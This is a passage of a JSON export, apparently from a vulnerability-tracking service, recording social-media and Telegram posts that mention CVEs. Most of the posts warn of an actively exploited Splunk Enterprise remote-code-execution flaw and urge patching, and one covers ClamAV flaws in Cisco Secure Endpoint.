"creation_timestamp": "2026-06-19T18:05:30.335894Z"}, {"uuid": "120c8c5c-866b-425c-b150-52267d4c7349", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/PostgreSQL.activitypub.awakari.com.ap.brid.gy/post/3monzijaotpw2", "content": "CVE-2026-20253: CISA Warns of Actively Exploited Splunk Enterprise RCE CVE-2026-20253: CISA Warns of Actively Exploited Splunk Enterprise RCE Introduction to Malware Binary Triage (IMBT) Course Loo...\n\n#Malware #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-19T18:58:14.955917Z"}, {"uuid": "b40a1cf2-fe67-4232-a893-97b2b7895e39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3moo5qjnb6s2m", "content": "CVE-2026-20253 Splunk Vulnerability. Active exploitation is confirmed. CROs and Boards must prioritize this directive to secure enterprise assets and prevent privilege escalation. Review our latest C-SUITE intelligence brief now. https://thecybermind.co/xo4x\n\n#CyberSecurity #Splunk #CISO\u2026", "creation_timestamp": "2026-06-19T20:13:29.346447Z"}, {"uuid": "b98ec543-badf-4fee-aafe-33a7dcc31e33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3moo5ql2bby2t", "content": "CVE-2026-20253 Splunk Vulnerability. Active exploitation is confirmed. CROs and Boards must prioritize this directive to secure enterprise assets and prevent privilege escalation. Review our latest C-SUITE intelligence brief now. https://thepotatomind.co/xo4x\n\n#PotatoSecurity #Splunk #CISO\u2026", "creation_timestamp": "2026-06-19T20:13:30.011905Z"}, {"uuid": "290d1f54-5b54-4427-80a6-6c0690957859", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/PostgreSQL.activitypub.awakari.com.ap.brid.gy/post/3moo6gfwhpr32", "content": "CVE-2026-20253: CISA Warns of Actively Exploited Splunk Enterprise RCE CVE-2026-20253: CISA Warns of Actively Exploited Splunk Enterprise RCE Splunk Enterprise admins should prioritize patching CVE...\n\n#Cyber #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-19T20:25:48.103002Z"}, {"uuid": "21213289-c6fc-4186-bba1-cc22ddaf4a74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20181", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3moo6oqurzw24", "content": "\ud83d\udce2 Cisco corrige une vuln\u00e9rabilit\u00e9 critique d'ex\u00e9cution de commandes dans ISE (CVE-2026-20181)\n\ud83d\udcdd \ud83d\udcf0 Source : SecurityWeek, publi\u00e9 le 18 juin \u2026\nhttps://cyberveille.ch/posts/2026-06-19-cisco-corrige-une-vulnerabilite-critique-d-execution-de-commandes-dans-ise-cve-2026-20181/ #CVE_2026_20181 #Cyberveille", "creation_timestamp": "2026-06-19T20:30:22.747984Z"}, {"uuid": "a625ac05-d3cb-448f-8c7b-f6d2fb6cef21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/diesec.bsky.social/post/3mooabxhady2h", "content": "CVE-2026-20253 \u2014 Splunk Enterprise CVSS 9.8. Unauthenticated RCE. Actively exploited since June 15. CISA KEV deadline June 21. A compromised SIEM can silence every other alert in your environment. Patch now: 10.2.4 / 10.0.7. \n\n#Splunk #CyberSecurity #CISA #PatchNow", "creation_timestamp": "2026-06-19T20:59:02.903887Z"}, {"uuid": "cfb490ff-5c9e-41f7-8f11-38fa607dc00b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mooblpogos2a", "content": "2/ \u26a0\ufe0f PATCH NOW: CISA added Splunk CVE-2026-20253 (CVSS 9.8) to its Known Exploited Vulnerabilities list. Zero credentials needed to exploit. Federal agencies must fix it by SUNDAY June 21. First Splunk flaw ever on the KEV list. (SecurityWeek)", "creation_timestamp": "2026-06-19T21:22:23.277341Z"}, {"uuid": "c6c2b546-683f-4e8c-baa0-167bbd702fc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mooblpoois2a", "content": "2/ \u26a0\ufe0f PATCH NOW: CISA added Splunk CVE-2026-20253 (CVSS 9.8) to its Known Exploited Vulnerabilities list. Zero credentials needed to exploit. Federal agencies must fix it by SUNDAY June 21. First Splunk flaw ever on the KEV list. (SecurityWeek)", "creation_timestamp": "2026-06-19T21:22:23.950567Z"}, {"uuid": "1b5b8cba-6a70-4bb9-a1c9-fc5820009d3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mooblpopi22a", "content": "2/ \u26a0\ufe0f PATCH NOW: CISA added Splunk CVE-2026-20253 (CVSS 9.8) to its Known Exploited Vulnerabilities list. Zero credentials needed to exploit. Federal agencies must fix it by SUNDAY June 21. First Splunk flaw ever on the KEV list. (SecurityWeek)", "creation_timestamp": "2026-06-19T21:22:24.456590Z"}, {"uuid": "808474d0-c378-4169-bdb0-7d054b984215", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mooblpoqhc2a", "content": "2/ \u26a0\ufe0f PATCH NOW: CISA added Splunk CVE-2026-20253 (CVSS 9.8) to its Known Exploited Vulnerabilities list. Zero credentials needed to exploit. Federal agencies must fix it by SUNDAY June 21. First Splunk flaw ever on the KEV list. (SecurityWeek)", "creation_timestamp": "2026-06-19T21:22:25.440710Z"}, {"uuid": "427a9e17-9571-4939-ab87-0d9c7255f92b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mooblpoqhd2a", "content": "2/ \u26a0\ufe0f PATCH NOW: CISA added Splunk CVE-2026-20253 (CVSS 9.8) to its Known Exploited Vulnerabilities list. Zero credentials needed to exploit. Federal agencies must fix it by SUNDAY June 21. First Splunk flaw ever on the KEV list. (SecurityWeek)", "creation_timestamp": "2026-06-19T21:22:26.111999Z"}, {"uuid": "b10db06a-bc8b-4a23-8272-cfab6148d146", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mooblporgl2a", "content": "2/ \u26a0\ufe0f PATCH NOW: CISA added Splunk CVE-2026-20253 (CVSS 9.8) to its Known Exploited Vulnerabilities list. Zero credentials needed to exploit. Federal agencies must fix it by SUNDAY June 21. First Splunk flaw ever on the KEV list. (SecurityWeek)", "creation_timestamp": "2026-06-19T21:22:26.655359Z"}, {"uuid": "a2ef60b7-8dd8-407c-9749-c30831395576", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mooblporgm2a", "content": "2/ \u26a0\ufe0f PATCH NOW: CISA added Splunk CVE-2026-20253 (CVSS 9.8) to its Known Exploited Vulnerabilities list. Zero credentials needed to exploit. Federal agencies must fix it by SUNDAY June 21. First Splunk flaw ever on the KEV list. (SecurityWeek)", "creation_timestamp": "2026-06-19T21:22:27.194061Z"}, {"uuid": "682ca215-57af-4334-bda5-e2910a72526d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mooblporgn2a", "content": "2/ \u26a0\ufe0f PATCH NOW: CISA added Splunk CVE-2026-20253 (CVSS 9.8) to its Known Exploited Vulnerabilities list. Zero credentials needed to exploit. Federal agencies must fix it by SUNDAY June 21. First Splunk flaw ever on the KEV list. (SecurityWeek)", "creation_timestamp": "2026-06-19T21:22:27.735697Z"}, {"uuid": "fce5bac5-553a-4639-8ec3-f06f204342ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mooblpotf52a", "content": "2/ \u26a0\ufe0f PATCH NOW: CISA added Splunk CVE-2026-20253 (CVSS 9.8) to its Known Exploited Vulnerabilities list. Zero credentials needed to exploit. Federal agencies must fix it by SUNDAY June 21. First Splunk flaw ever on the KEV list. (SecurityWeek)", "creation_timestamp": "2026-06-19T21:22:28.251997Z"}, {"uuid": "4728fd55-44e5-4a03-95d0-001af600a97f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.page/post/3moocppfw2325", "content": "A vulnerability in Splunk Enterprise (CVE-2026-20253) is under active exploitation with CISA mandating federal agencies to apply patches within three days to prevent unauthenticated remote code execution attacks.", "creation_timestamp": "2026-06-19T21:42:33.351346Z"}, {"uuid": "f28c1c50-84cc-4cbd-8af5-8096b7b811c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20253", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116779010443136797", "content": "\ud83d\udcf0 Splunk Scrambles to Patch Critical 9.8 CVSS Flaw Allowing Unauthenticated RCE\n\ud83d\udea8 CRITICAL Splunk Enterprise flaw (CVE-2026-20253) allows unauthenticated RCE! CVSS 9.8. Attackers can execute code via an insecure PostgreSQL endpoint. On-premise versions 10.0.x and 10.2.x are vulnerable. Patch now! #Splunk #RCE #CyberSecurity\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/critical-splunk-enterprise-flaw-cve-2026-20253-allows-unauthenticated-rce/?utm_s\u2026", "creation_timestamp": "2026-06-19T21:58:09.300373Z"}, {"uuid": "3fde8d96-571b-4436-8fdd-854c12a3b422", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3moodmk3gkd2c", "content": "\ud83d\udea8 CRITICAL Splunk Enterprise flaw (CVE-2026-20253) allows unauthenticated RCE! CVSS 9.8. Attackers can execute code via an insecure PostgreSQL endpoint. On-premise versions 10.0.x and 10.2.x are vulnerable. Patch now! #Splunk #RCE #CyberSecurity\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-06-19T21:58:37.124049Z"}, {"uuid": "32ce948e-f05f-4338-a9e3-99bbb15d6a9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://t.me/true_secator/8496", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0435\u0435 Secure Endpoint Connector \u0434\u043b\u044f Windows, macOS \u0438 Linux \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0441\u0435\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c ClamAV, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a DoS, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 PoC.\n\nClamAV (Clam AntiVirus) - \u044d\u0442\u043e \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u0442\u043e\u0447\u043d\u044b\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440, \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20337\u2013CVE-2026-20339 \u0438 CVE-2026-20345\u2013CVE-2026-20348 \u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043f\u0430\u0440\u0441\u0435\u0440\u0430\u0445 ClamAV \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432 ZIP, GPT, PESpin, PDF, Mach-O \u0438 XAR.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 ClamAV 1.5.4, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 WinRAR \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a ClamAV \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, Cisco \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0432\u044b\u0445\u043e\u0434\u0435 PoC, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 CVE-2026-20337 \u0438 CVE-2026-20338.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Secure Endpoint Connector \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0438\u0441\u043a \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430 \u044d\u0442\u0438\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u0430 macOS \u0438 Linux \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0440\u0438\u0441\u043a \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u043d\u0430 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Secure Endpoint Private Cloud, \u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u041f\u041e Secure Endpoint Connector, \u0442\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (\u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432 Secure Endpoint Private Cloud \u0432\u0435\u0440\u0441\u0438\u0439 4.2.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445) \u0438\u0437 \u043e\u0431\u043b\u0430\u043a\u0430 \u043d\u0430 \u0441\u0432\u043e\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u044d\u0442\u043e \u043f\u043e\u043a\u0430, \u0431\u0443\u0434\u0435\u043c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-08-13T01:00:03.674732Z"}, {"uuid": "fed177e6-605e-4e56-9090-9fe502db4203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/jqjousatecharabic.bsky.social/post/3moof5tjruv27", "content": "\u062b\u063a\u0631\u0629 Splunk Enterprise \u0645\u0633\u062a\u063a\u0644\u0629 \u0628\u0646\u0634\u0627\u0637\u061b CISA \u062a\u0635\u062f\u0631 \u0623\u0645\u0631 \u062a\u0635\u062d\u064a\u062d \u0637\u0627\u0631\u0626\n\n\u0648\u0627\u0634\u0646\u0637\u0646\u060c \u0627\u0644\u0648\u0644\u0627\u064a\u0627\u062a \u0627\u0644\u0645\u062a\u062d\u062f\u0629 - \u0623\u0645\u0631\u062a \u0648\u0643\u0627\u0644\u0629 \u0627\u0644\u0623\u0645\u0646 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a \u0648\u0623\u0645\u0646 \u0627\u0644\u0628\u0646\u064a\u0629 \u0627\u0644\u062a\u062d\u062a\u064a\u0629 \u0627\u0644\u0623\u0645\u0631\u064a\u0643\u064a\u0629 (CISA) \u0627\u0644\u0648\u0643\u0627\u0644\u0627\u062a \u0627\u0644\u0641\u064a\u062f\u0631\u0627\u0644\u064a\u0629 \u0628\u062a\u0635\u062d\u064a\u062d \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u062d\u0631\u062c\u0629 \u0641\u064a Splunk Enterprise\u060c \u062a\u0645 \u062a\u062a\u0628\u0639\u0647\u0627 \u0628\u0631\u0642\u0645 CVE-2026-20253\u060c \u0639\u0644\u0649 \u0648\u062c\u0647 \u0627\u0644\u0633\u0631\u0639\u0629 \u0628\u0639\u062f...\n\n#Splunk #\u0637\u0627\u0631\u0626 #BreakingN...", "creation_timestamp": "2026-06-19T22:26:12.952495Z"}, {"uuid": "4343bef1-4a07-4dc8-9812-5d1747e4689e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/jqjousatechchinese.bsky.social/post/3moof7p4d3e2c", "content": "Splunk Enterprise \u6f0f\u6d1e\u88ab\u79ef\u6781\u5229\u7528\uff1bCISA \u53d1\u5e03\u7d27\u6025\u8865\u4e01\u4ee4\n\n\u7f8e\u56fd\uff0c\u534e\u76db\u987f\u2014\u2014\u7f8e\u56fd\u7f51\u7edc\u5b89\u5168\u548c\u57fa\u7840\u8bbe\u65bd\u5b89\u5168\u5c40\uff08CISA\uff09\u5df2\u547d\u4ee4\u8054\u90a6\u673a\u6784\u7d27\u6025\u4fee\u8865\u4e00\u4e2a\u5173\u952e\u7684 Splunk Enterprise \u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u8ddf\u8e2a\u4e3a CVE-2026-20253\uff0c\u6b64\u524d\u5df2\u786e\u8ba4\u653b\u51fb\u8005\u6b63\u5728\u73b0\u5b9e\u73af\u5883\u4e2d\u79ef\u6781\u5229\u7528\u8be5\u6f0f\u6d1e\u3002\u8be5\u6f0f\u6d1e\u7684 CVSS \u6700\u9ad8\u4e25\u91cd\u6027\u8bc4\u5206\u4e3a 9.8\uff0c\u6e90\u4e8e Splunk Enterprise \u7248\u672c 10.0.0 \u81f3 10.2.3 \u4e2d\u5b58\u5728\u7684 PostgreSQL \u8fb9\u8f66\u670d\u52a1\u7684\u8eab\u4efd\u9a8c\u8bc1\u4e0d\u5f53\u3002\u7531\u4e8e\u8be5\u7aef\u70b9\u7f3a\u4e4f\u6709\u6548\u7684\u8eab\u4efd\u9a8c\u8bc1\u63a7\u5236\uff0c\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u8fdc\u7a0b\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u4e3b\u673a\u7cfb\u7edf\u4e0a\u521b\u5efa\u6216\u622a\u65ad\u4efb\u610f\u6587\u4ef6\uff0c\u4ece\u800c\u76f4\u63a5\u5bfc\u81f4\u8fdc\u7a0b...", "creation_timestamp": "2026-06-19T22:27:15.018104Z"}, {"uuid": "39e14d7d-f772-45f0-a38d-56d6c3692376", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/PostgreSQL.activitypub.awakari.com.ap.brid.gy/post/3moofm6ocrmp2", "content": "CVE-2026-20253: CISA Warns of Actively Exploited Splunk Enterprise RCE CVE-2026-20253: CISA Warns of Actively Exploited Splunk Enterprise RCE Splunk Enterprise admins should prioritize patching CVE...\n\n#Cyber #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-19T22:34:16.000000Z"}, {"uuid": "efd018e3-3dbe-42ed-8292-b4ab37e89392", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20348", "type": "seen", "source": "https://t.me/true_secator/8496", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0435\u0435 Secure Endpoint Connector \u0434\u043b\u044f Windows, macOS \u0438 Linux \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0441\u0435\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c ClamAV, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 